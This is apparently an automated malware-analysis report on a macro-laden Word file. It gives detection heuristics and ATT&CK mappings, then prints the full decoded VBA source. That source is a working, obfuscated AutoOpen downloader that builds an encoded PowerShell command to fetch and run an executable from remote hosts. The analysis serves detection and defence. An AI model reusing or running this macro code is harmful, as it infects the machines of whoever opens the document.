MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute a command. The macro constructs and executes a command-line string that appears to be an obfuscated PowerShell command, indicated by the 'powershell.exe' and '-EC' arguments. This command likely downloads and executes a second-stage payload, as suggested by the 'cmd.exe /c' invocation and the overall structure of the obfuscated string. The presence of the 'Shell()' call and 'cmd.exe' reference in the VBA code strongly supports this downloader behavior.
Heuristics 9
-
ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call IsError(VBA.Interaction.Shell(Trim(Join(Array(hEWOJyiEKOfezIRISoaeauHuPuLaJOtYiy, LbMYZyZtEPoXistYbOcaavUxaxYsuqusihyd, wUtuiYRUMOhiZoruaapuNoJIqufaIslI, HEGOtECoCEtaNOJYXuqahUZiZleowy), "")), (12 - (6 * 2)))) -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
XiBIPUaUmeCAvYSEzekWIiLejyhID_7(1) = sUqYfUFIxATiqYVytopYlIXA & CStr("8045") hEWOJyiEKOfezIRISoaeauHuPuLaJOtYiy = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A … -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Const tAMUCyBmahEsikIBEKBiSOPoHeSubadEMIRYma = 0 Sub AutoOpen() On Error Resume Next -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12779 bytes |
SHA-256: fd4aa26736f196e78665e19a8286f1e321eeb1b7a38cdbe676fbd2911565ab15 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const tAMUCyBmahEsikIBEKBiSOPoHeSubadEMIRYma = 0
Sub AutoOpen()
On Error Resume Next
Dim XiBIPUaUmeCAvYSEzekWIiLejyhID(2)
Dim XiBIPUaUmeCAvYSEzekWIiLejyhID_7(2)
If InStr(7, "sUqYfUFIxATiqYVytopYlIXA", "XiBIPUaUmeCAvYSEzekWIiLejyhID") Then
XiBIPUaUmeCAvYSEzekWIiLejyhID(0) = InStrRev("sUqYfUFIxATiqYVytopYlIXA", "XiBIPUaUmeCAvYSEzekWIiLejyhID")
IsError CVErr(8045)
End If
IsError CVErr(137)
If Len(Oct(8045)) > 7 Then
XiBIPUaUmeCAvYSEzekWIiLejyhID(1) = Hex(13 ^ 7)
End If
XiBIPUaUmeCAvYSEzekWIiLejyhID_7(0) = Now
VarType IsNumeric(CInt("8045"))
XiBIPUaUmeCAvYSEzekWIiLejyhID_7(1) = sUqYfUFIxATiqYVytopYlIXA & CStr("8045")
hEWOJyiEKOfezIRISoaeauHuPuLaJOtYiy = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A^L^w^B^r^A^G^k^A^d^g^B^h^A^G^w^A^Z^Q^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^k^A^d^A^B^y^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A"
Dim PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE(2)
Dim PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE_3(2)
If InStr(3, "ByHoBWUGDUJyyCufj", "PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE") Then
PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE(0) = InStrRev("ByHoBWUGDUJyyCufj", "PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE")
IsError CVErr(3003)
End If
IsError CVErr(113)
If Len(Oct(3003)) > 3 Then
PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE(1) = Hex(11 ^ 3)
End If
PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE_3(0) = Now
VarType IsNumeric(CInt("3003"))
PIWaVAwixOLaiugeJvYXnIhywyxErLagiTE_3(1) = ByHoBWUGDUJyyCufj & CStr("3003")
LbMYZyZtEPoXistYbOcaavUxaxYsuqusihyd = "^A^P^w^B^s^A^D^0^A^b^Q^B^1^A^G^w^A^d^A^B^v^A^D^Q^A^L^g^B^4^A^G^E^A^c^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A^N^A^A^2^A^D^k^A^N^g^B^m^A^D^Q^A^M^A^A^z^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^Y^Q^B^y^A^" + Chr(2 + (35 * 2)) + "^Q^A^L^Q^B^Q^A^" + Chr(2 + (35 * 2)) + "^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^Q^A^N^g^A^5^A^D^Y^A^Z^g^A^0^A^D^A^A^M^w^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^C"
Dim seMabALodOdejACUFUszydUJYheDAf(2)
Dim seMabALodOdejACUFUszydUJYheDAf_9(2)
If InStr(9, "fipavoHAtuQagivE", "seMabALodOdejACUFUszydUJYheDAf") Then
seMabALodOdejACUFUszydUJYheDAf(0) = InStrRev("fipavoHAtuQagivE", "seMabALodOdejACUFUszydUJYheDAf")
IsError CVErr(2757)
End If
IsError CVErr(129)
If Len(Oct(2757)) > 9 Then
seMabALodOdejACUFUszydUJYheDAf(1) = Hex(12 ^ 9)
End If
seMabALodOdejACUFUszydUJYheDAf_9(0) = Now
VarType IsNumeric(CInt("2757"))
seMabALodOdejACUFUszydUJYheDAf_9(1) = fipavoHAtuQagivE & CStr("2757")
Dim ausiLysEjoDAJAloVeQOiUHAlIZD(2)
Dim ausiLysEjoDAJAloVeQOiUHAlIZD_2(2)
If InStr(2, "aaiaiLyvyc", "ausiLysEjoDAJAloVeQOiUHAlIZD") Then
ausiLysEjoDAJAloVeQOiUHAlIZD(0) = InStrRev("aaiaiLyvyc", "ausiLysEjoDAJAloVeQOiUHAlIZD")
IsError CVErr(9817)
End If
IsError CVErr(102)
If Len(Oct(9817)) > 2 Then
ausiLysEjoDAJAloVeQOiUHAlIZD(1) = Hex(10 ^ 2)
End If
ausiLysEjoDAJAloVeQOiUHAlIZD_2(0) = Now
VarType IsNumeric(CInt("9817"))
ausiLysEjoDAJAloVeQOiUHAlIZD_2(1) = aaiaiLyvyc & CStr("9817")
wUtuiYRUMOhiZoruaapuNoJIqufaIslI = "^A^A^S^Q^B^F^A^F^g^A^K^A^A^" + Chr(1 + 10 + (75) + 25) + "^A^E^4^A^Z^Q^B^3^A^C^0^A^T^w^B^i^A^G^" + Chr(1 + 10 + (75) + 25) + "^A^Z^Q^B^j^A^" + Chr(2 + (35 * 2)) + "^Q^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^k^A^c^w^B^0^A^G^U^A^b^Q^A^u^A^E^4^A^Z^Q^B^0^A^C^4^A^V^w^B^l^A^G^I^A^Q^w^B^s^A^G^k^A^Z^Q^B^u^A^" + Chr(2 + (35 * 2)) + "^Q^A^K^Q^A^u^A^E^Q^A^b^w^B^3^A^G^4^A^b^A^B^v^A^G^E^A^Z^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^g^B^p^A^G^4^A^Z^w^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A^L^w^A^1^A^D^Q^A^L^g^A^z^A^D^k^A^L^g^A^3^A^D^Q^A^L^g^A^x^A^D^I^A^N^A^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A^A^I^g^A^p^A^C^k^A^O^w^A^g^A^E^U^A^e^A^B^p^A"
Dim ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT(2)
Dim ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT_5(2)
If InStr(5, "aZUZInYGyviNENeww", "ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT") Then
ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT(0) = InStrRev("aZUZInYGyviNENeww", "ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT")
IsError CVErr(4775)
End If
IsError CVErr(115)
If Len(Oct(4775)) > 5 Then
ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT(1) = Hex(11 ^ 5)
End If
ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT_5(0) = Now
VarType IsNumeric(CInt("4775"))
ruHAKalUCivigAMerezyKEsaVeBajOXogoBULoT_5(1) = aZUZInYGyviNENeww & CStr("4775")
Dim guCArAXAqUZIwuFyZYziGEicIDadOmineh(2)
Dim guCArAXAqUZIwuFyZYziGEicIDadOmineh_9(2)
If InStr(9, "kOSimasykEa", "guCArAXAqUZIwuFyZYziGEicIDadOmineh") Then
guCArAXAqUZIwuFyZYziGEicIDadOmineh(0) = InStrRev("kOSimasykEa", "guCArAXAqUZIwuFyZYziGEicIDadOmineh")
IsError CVErr(7570)
End If
IsError CVErr(109)
If Len(Oct(7570)) > 9 Then
guCArAXAqUZIwuFyZYziGEicIDadOmineh(1) = Hex(10 ^ 9)
End If
guCArAXAqUZIwuFyZYziGEicIDadOmineh_9(0) = Now
VarType IsNumeric(CInt("7570"))
guCArAXAqUZIwuFyZYziGEicIDadOmineh_9(1) = kOSimasykEa & CStr("7570")
Dim XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE(2)
Dim XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE_2(2)
If InStr(2, "LUbEzaGAloLEneraJi", "XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE") Then
XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE(0) = InStrRev("LUbEzaGAloLEneraJi", "XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE")
IsError CVErr(3861)
End If
IsError CVErr(112)
If Len(Oct(3861)) > 2 Then
XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE(1) = Hex(11 ^ 2)
End If
XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE_2(0) = Now
VarType IsNumeric(CInt("3861"))
XIZArAbiJEwaRulDuaeiiiOfOHyFbiQE_2(1) = LUbEzaGAloLEneraJi & CStr("3861")
Dim laKdODIsydSeKahuzYLeryTasa(2)
Dim laKdODIsydSeKahuzYLeryTasa_8(2)
If InStr(8, "paPaSesihIaca", "laKdODIsydSeKahuzYLeryTasa") Then
laKdODIsydSeKahuzYLeryTasa(0) = InStrRev("paPaSesihIaca", "laKdODIsydSeKahuzYLeryTasa")
IsError CVErr(7711)
End If
IsError CVErr(108)
If Len(Oct(7711)) > 8 Then
laKdODIsydSeKahuzYLeryTasa(1) = Hex(10 ^ 8)
End If
laKdODIsydSeKahuzYLeryTasa_8(0) = Now
VarType IsNumeric(CInt("7711"))
laKdODIsydSeKahuzYLeryTasa_8(1) = paPaSesihIaca & CStr("7711")
HEGOtECoCEtaNOJYXuqahUZiZleowy = "^" + Chr(2 + (35 * 2)) + "^Q^A"
Dim SaPyjOfazOzaGUlATTyhEMuwoqumajMu(2)
Dim SaPyjOfazOzaGUlATTyhEMuwoqumajMu_5(2)
If InStr(5, "kYSaZEbAEHiVeBaBARab", "SaPyjOfazOzaGUlATTyhEMuwoqumajMu") Then
SaPyjOfazOzaGUlATTyhEMuwoqumajMu(0) = InStrRev("kYSaZEbAEHiVeBaBARab", "SaPyjOfazOzaGUlATTyhEMuwoqumajMu")
IsError CVErr(9192)
End If
IsError CVErr(115)
If Len(Oct(9192)) > 5 Then
SaPyjOfazOzaGUlATTyhEMuwoqumajMu(1) = Hex(11 ^ 5)
End If
SaPyjOfazOzaGUlATTyhEMuwoqumajMu_5(0) = Now
VarType IsNumeric(CInt("9192"))
SaPyjOfazOzaGUlATTyhEMuwoqumajMu_5(1) = kYSaZEbAEHiVeBaBARab & CStr("9192")
Dim duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE(2)
Dim duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE_1(2)
If InStr(1, "WOXIXEXIzuxeiU", "duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE") Then
duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE(0) = InStrRev("WOXIXEXIzuxeiU", "duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE")
IsError CVErr(4027)
End If
IsError CVErr(111)
If Len(Oct(4027)) > 1 Then
duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE(1) = Hex(11 ^ 1)
End If
duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE_1(0) = Now
VarType IsNumeric(CInt("4027"))
duzEfyreRUXYgwiKonowCuRaXyNyVoDAhisupE_1(1) = WOXIXEXIzuxeiU & CStr("4027")
Dim mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa(2)
Dim mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa_7(2)
If InStr(7, "xALeQExijekoZA", "mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa") Then
mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa(0) = InStrRev("xALeQExijekoZA", "mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa")
IsError CVErr(2839)
End If
IsError CVErr(137)
If Len(Oct(2839)) > 7 Then
mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa(1) = Hex(13 ^ 7)
End If
mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa_7(0) = Now
VarType IsNumeric(CInt("2839"))
mRysuQYHaBNpolESUBUMeGOzEpazIDItebevynAluXa_7(1) = xALeQExijekoZA & CStr("2839")
Call FicJihOXImfuwovNufEjiWoaidaauP(hEWOJyiEKOfezIRISoaeauHuPuLaJOtYiy & "", LbMYZyZtEPoXistYbOcaavUxaxYsuqusihyd + CStr(""), wUtuiYRUMOhiZoruaapuNoJIqufaIslI, "dhdos28sjdkslsm", HEGOtECoCEtaNOJYXuqahUZiZleowy)
Dim poraYDapuTODeLOrydeqogUTAvybAtA(2)
Dim poraYDapuTODeLOrydeqogUTAvybAtA_8(2)
If InStr(8, "sOwQUzecEvA", "poraYDapuTODeLOrydeqogUTAvybAtA") Then
poraYDapuTODeLOrydeqogUTAvybAtA(0) = InStrRev("sOwQUzecEvA", "poraYDapuTODeLOrydeqogUTAvybAtA")
IsError CVErr(6499)
End If
IsError CVErr(128)
If Len(Oct(6499)) > 8 Then
poraYDapuTODeLOrydeqogUTAvybAtA(1) = Hex(12 ^ 8)
End If
poraYDapuTODeLOrydeqogUTAvybAtA_8(0) = Now
VarType IsNumeric(CInt("6499"))
poraYDapuTODeLOrydeqogUTAvybAtA_8(1) = sOwQUzecEvA & CStr("6499")
Dim nepIwusyTTANaxYtEHLoQuByZ(2)
Dim nepIwusyTTANaxYtEHLoQuByZ_6(2)
If InStr(6, "WaHukUTegOciviaIvUbeV", "nepIwusyTTANaxYtEHLoQuByZ") Then
nepIwusyTTANaxYtEHLoQuByZ(0) = InStrRev("WaHukUTegOciviaIvUbeV", "nepIwusyTTANaxYtEHLoQuByZ")
IsError CVErr(2154)
End If
IsError CVErr(136)
If Len(Oct(2154)) > 6 Then
nepIwusyTTANaxYtEHLoQuByZ(1) = Hex(13 ^ 6)
End If
nepIwusyTTANaxYtEHLoQuByZ_6(0) = Now
VarType IsNumeric(CInt("2154"))
nepIwusyTTANaxYtEHLoQuByZ_6(1) = WaHukUTegOciviaIvUbeV & CStr("2154")
Dim iYPiCOdAqykUgADUTiDUDicaZ(2)
Dim iYPiCOdAqykUgADUTiDUDicaZ_10(2)
If InStr(10, "nAHPoAkis", "iYPiCOdAqykUgADUTiDUDicaZ") Then
iYPiCOdAqykUgADUTiDUDicaZ(0) = InStrRev("nAHPoAkis", "iYPiCOdAqykUgADUTiDUDicaZ")
IsError CVErr(4944)
End If
IsError CVErr(1210)
If Len(Oct(4944)) > 10 Then
iYPiCOdAqykUgADUTiDUDicaZ(1) = Hex(12 ^ 10)
End If
iYPiCOdAqykUgADUTiDUDicaZ_10(0) = Now
VarType IsNumeric(CInt("4944"))
iYPiCOdAqykUgADUTiDUDicaZ_10(1) = nAHPoAkis & CStr("4944")
End Sub
Sub FicJihOXImfuwovNufEjiWoaidaauP(hEWOJyiEKOfezIRISoaeauHuPuLaJOtYiy, LbMYZyZtEPoXistYbOcaavUxaxYsuqusihyd, wUtuiYRUMOhiZoruaapuNoJIqufaIslI, TynUxYHohYZItiNijETUnupzoGUPifyqITegUnaBy, HEGOtECoCEtaNOJYXuqahUZiZleowy)
On Error Resume Next
Dim cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu(2)
Dim cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu_6(2)
If InStr(6, "jdAVaqyQymIWIRAK", "cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu") Then
cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu(0) = InStrRev("jdAVaqyQymIWIRAK", "cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu")
IsError CVErr(6823)
End If
IsError CVErr(126)
If Len(Oct(6823)) > 6 Then
cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu(1) = Hex(12 ^ 6)
End If
cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu_6(0) = Now
VarType IsNumeric(CInt("6823"))
cYmApEGEdAFiiaQYjeciiCUbOGYPADEnaRu_6(1) = jdAVaqyQymIWIRAK & CStr("6823")
Call IsError(VBA.Interaction.Shell(Trim(Join(Array(hEWOJyiEKOfezIRISoaeauHuPuLaJOtYiy, LbMYZyZtEPoXistYbOcaavUxaxYsuqusihyd, wUtuiYRUMOhiZoruaapuNoJIqufaIslI, HEGOtECoCEtaNOJYXuqahUZiZleowy), "")), (12 - (6 * 2))))
Dim TiCISuixUspUbalECUmUWIKYxy(2)
Dim TiCISuixUspUbalECUmUWIKYxy_3(2)
If InStr(3, "xyCUGOvaBuca", "TiCISuixUspUbalECUmUWIKYxy") Then
TiCISuixUspUbalECUmUWIKYxy(0) = InStrRev("xyCUGOvaBuca", "TiCISuixUspUbalECUmUWIKYxy")
IsError CVErr(2929)
End If
IsError CVErr(103)
If Len(Oct(2929)) > 3 Then
TiCISuixUspUbalECUmUWIKYxy(1) = Hex(10 ^ 3)
End If
TiCISuixUspUbalECUmUWIKYxy_3(0) = Now
VarType IsNumeric(CInt("2929"))
TiCISuixUspUbalECUmUWIKYxy_3(1) = xyCUGOvaBuca & CStr("2929")
Dim MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU(2)
Dim MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU_8(2)
If InStr(8, "NyfiLuCUFYwuaypU", "MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU") Then
MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU(0) = InStrRev("NyfiLuCUFYwuaypU", "MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU")
IsError CVErr(4416)
End If
IsError CVErr(128)
If Len(Oct(4416)) > 8 Then
MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU(1) = Hex(12 ^ 8)
End If
MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU_8(0) = Now
VarType IsNumeric(CInt("4416"))
MAKycOMYgAMOpApipetIboJOaarikYpiQaVIaAU_8(1) = NyfiLuCUFYwuaypU & CStr("4416")
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.